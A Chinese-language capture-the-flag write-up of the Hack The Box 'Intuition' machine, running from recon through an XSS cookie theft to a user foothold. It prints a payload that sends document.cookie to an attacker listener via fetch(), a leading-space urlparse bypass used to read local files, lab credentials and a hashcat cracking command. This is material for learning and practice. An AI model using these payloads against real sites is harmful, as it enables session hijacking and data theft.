
🧘♂️Week 2 - Intuition
信息收集
Nmap 端口探测

获取开放端口 22/ssh 80/http.
WEB服务相关信息收集
获取域名
首先域名访问web服务,获取域名为 comprezzor.htb

子域名爆破
HTB都是虚拟环境,虚假的域名,自能用爆破的形式获取子域名.
dnsmap comprezzor.htb -w /usr/share/wordlists/subdomains-1000.txt
其中子域名列表来自 GitHub.

共探测到三个子域名:
auth.comprezzor.htb
report.comprezzor.htb
dashboard.comprezzor.htb
目录扫描
comprezzor.htb
auth.comprezzor.htb
[17:54:00] 200 - 3KB - /login [17:54:01] 500 - 265B - /logout [17:54:21] 200 - 3KB - /register
report.comprezzor.htb
dashboard.comprezzor.htb
探索WEB服务可能的漏洞点
comprezzor.htb 下的压缩服务可能存在xz后门

最近大名鼎鼎的xz后门事件,但是据了解,这个后门没有披露具体用法,所以可以知道这应该是个兔子洞.
report.comprezzor.htb/report_bug 下的漏洞报告服务可能存在XSS漏洞

auth.comprezzor.htb 登录与注册服务可能存在SQL注入

尝试无果.
获取第一个 user flag
利用 XSS 漏洞外带 webdav 用户的 Cookie
首先, 注册一个账号!!!! 进入 report 页面.
开启监听:
nc -lvvp 555

payload:
<img src=x onerror="fetch('http://10.10.14.xx:555/?cookie='+document.cookie);" >

成功获得cookie!!!
user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4

浏览器中添加 cookie , 这里使用的插件是 modheader

利用 XSS 漏洞外带 admin 用户的 cookie
拿到 cookie 我们能做什么 ? 当然是去 dashboard 一探究竟 !

可以看到我们提交的漏洞报告, 检查了一遍, webdev没啥用.
尝试把权重提高, 看能不能提交给上层更高权限的用户. 记得开nc的监听.

等一等,如果没收到就重启一下机子.
获得Cookie:
user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
更换这个cookie,再次访问dashboard, 就多出来了好多功能.

Create PDF Report 存在本地/远程文件包含等漏洞
这个页面大概率是漏洞点, 但是存在黑名单或者白名单的规则限制 ,尝试下只能访问http协议.

使用nc监听, 看看能收集到什么信息.

可以看到发来的包, 用的是Python-urllib/3.11, 大概率可以确定该服务是 flask.
Google一下这个包,发现存在解析漏洞.
在访问的链接最前面添加一个空格,就可以绕过urlparse()函数对协议的检查.
构造payload (不要漏了前面的空格):
file:///etc/passwd

然后挺奇怪的,真正的用户只有一个 root ,这个时候其实怀疑这个是在容器内, 访问根目录下的.dockerenv, 确实能够成功下载,可以证明确实是在 docekr 容器内.

在容器内,能够获取的有效的信息就比较有限, 特别实在这种盲盒的形式下, 现在就把希望放在了源代码上了.
根据 linux man5 手册下, /proc/self/cmdline 为存放在执行当前进程的命令的只读文件,.
构造payload (不要漏了前面的空格):
file:///proc/self/cmdline

可以知道启动web项目时,使用的指令为
python3 /app/code/app.y
也就知道了 flask 的入口py文件.
继续构造payload获取app.py的源码:
file:///app/code/app.py

整理后的代码:
from flask import Flask, request, redirect
from blueprints.index.index import main_bp
from blueprints.report.report import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp
app = Flask(__name__)
app.secret_key = "7ASS7ADA8RF3FD7"
app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # Limit file size to 5MB
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'docx'} # Add more allowed file extensions if needed
app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report')
app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard')
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0", port=80)
从 flask 的蓝图可以知道, 三个子域名以及主域名下代码的路径:
/app/code/blueprints/index/index.py
/app/code/blueprints/report/report.py
/app/code/blueprints/auth/auth.py
/app/code/blueprints/dashboard/dashboard.py
同样的方式,构造payload获取这些源码:
from flask import Blueprint, request, render_template, flash, redirect, url_for, send_file
from blueprints.auth.auth_utils import admin_required, login_required, deserialize_user_data
from blueprints.report.report_utils import get_report_by_priority, get_report_by_id, delete_report, get_all_reports, change_report_priority, resolve_report
import random, os, pdfkit, socket, shutil
import urllib.request
from urllib.parse import urlparse
import zipfile
from ftplib import FTP
from datetime import datetime
dashboard_bp = Blueprint('dashboard', __name__, subdomain='dashboard')
pdf_report_path = os.path.join(os.path.dirname(__file__), 'pdf_reports')
allowed_hostnames = ['report.comprezzor.htb']
@dashboard_bp.route('/', methods=['GET'])
@admin_required
def dashboard():
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)
if user_info['role'] == 'admin':
reports = get_report_by_priority(1)
elif user_info['role'] == 'webdev':
reports = get_all_reports()
return render_template('dashboard/dashboard.html', reports=reports, user_info=user_info)
@dashboard_bp.route('/report/', methods=['GET'])
@login_required
def get_report(report_id):
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)
if user_info['role'] in ['admin', 'webdev']:
report = get_report_by_id(report_id)
return render_template('dashboard/report.html', report=report, user_info=user_info)
else:
pass
@dashboard_bp.route('/delete/', methods=['GET'])
@login_required
def del_report(report_id):
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)
if user_info['role'] in ['admin', 'webdev']:
report = delete_report(report_id)
return redirect(url_for('dashboard.dashboard'))
else:
pass
@dashboard_bp.route('/resolve', methods=['POST'])
@login_required
def resolve():
report_id = int(request.args.get('report_id'))
if resolve_report(report_id):
flash('Report resolved successfully!', 'success')
else:
flash('Error occurred while trying to resolve!', 'error')
return redirect(url_for('dashboard.dashboard'))
@dashboard_bp.route('/change_priority', methods=['POST'])
@admin_required
def change_priority():
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)
if user_info['role'] != ('webdev' or 'admin'):
flash('Not enough permissions. Only admins and webdevs can change report priority.', 'error')
return redirect(url_for('dashboard.dashboard'))
report_id = int(request.args.get('report_id'))
priority_level = int(request.args.get('priority_level'))
if change_report_priority(report_id, priority_level):
flash('Report priority level changed!', 'success')
else:
flash('Error occurred while trying to change the priority!', 'error')
return redirect(url_for('dashboard.dashboard'))
@dashboard_bp.route('/create_pdf_report', methods=['GET', 'POST'])
@admin_required
def create_pdf_report():
global pdf_report_path
if request.method == 'POST':
report_url = request.form.get('report_url')
try:
scheme = urlparse(report_url).scheme
hostname = urlparse(report_url).netloc
try:
dissallowed_schemas = ["file", "ftp", "ftps"]
if (scheme not in dissallowed_schemas) and ((socket.gethostbyname(hostname.split(":")[0]) != '127.0.0.1') or (hostname in allowed_hostnames)):
print(scheme)
urllib_request = urllib.request.Request(report_url, headers={'Cookie': 'user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhM'})
response = urllib.request.urlopen(urllib_request)
html_content = response.read().decode('utf-8')
pdf_filename = f'{pdf_report_path}/report_{str(random.randint(10000,90000))}.pdf'
pdfkit.from_string(html_content, pdf_filename)
return send_file(pdf_filename, as_attachment=True)
else:
flash('Invalid URL', 'error')
return render_template('dashboard/create_pdf_report.html')
except:
flash('Unexpected error!', 'error')
return render_template('dashboard/create_pdf_report.html')
except Exception as e:
raise e
else:
return render_template('dashboard/create_pdf_report.html')
@dashboard_bp.route('/backup', methods=['GET'])
@admin_required
def backup():
source_directory = os.path.abspath(os.path.dirname(__file__) + '../../../')
current_datetime = datetime.now().strftime("%Y%m%d%H%M%S")
backup_filename = f'app_backup_{current_datetime}.zip'
with zipfile.ZipFile(backup_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, _, files in os.walk(source_directory):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, source_directory)
zipf.write(file_path, arcname=arcname)
try:
ftp = FTP('ftp.local')
ftp.login(user='ftp_admin', passwd='u3jai8y71s2')
ftp.cwd('/')
with open(backup_filename, 'rb') as file:
ftp.storbinary(f'STOR {backup_filename}', file)
ftp.quit()
os.remove(backup_filename)
flash('Backup and upload completed successfully!', 'success')
except Exception as e:
flash(f'Error: {str(e)}', 'error')
return redirect(url_for('dashboard.dashboard'))
这里重点在 dashboard.py 下的 backup 函数, 暴露了 ftp 服务的账号和密码.
host: ftp.local
user: ftp_admin
passwd: u3jai8y71s2
继续利用本地文件包含, 构造payload如下, 查看ftp内有啥文件:
ftp://ftp_admin:[email protected]/

可以看到, 有私钥!!! 但是还不知道username!! 利用同样的方式,把私钥和welcome_note.txt都down下来看看.


这里可以看到,他还把私钥加密了, passphrase 为 Y27SH19HDIWD , 可以用 ssh-add 加入key, 获取用户名.

得到用户名为 dev_acc.
激动人心, ssh 连接上主机, 获取 user flag
ssh [email protected] -i id_rsa

后渗透信息收集
Linpeas 获取信息
二话不说, 先上 linpeas .
把比较有用的信息截了个图.
user 用户:

除了登录的用户, 还有几个用户.
用户组:

用户组中也有些有意思的, adam 和 lopez 用户都在 sys-adm 用户组中, 大概率权限比较高.
/opt 目录下:
有些东西, 其中有的是sys-adm组的权限
.db 文件

user.db 是 web 服务用的, 在前面的代码里也有出现, 值得关注.
查看 usesr.db 破解获得 adam 密码
到 /var/www/app/blueprints/auth/, 使用 sqlite3 读取数据库.
sqlite3 users.db

用hashcat跑一下:
.\hashcat.exe -a 0 -m 30120 --force .\hashfile\hash.txt .\wordlist\rockyou.txt

成功跑出密码adam gray.
最后更新于
这有帮助吗?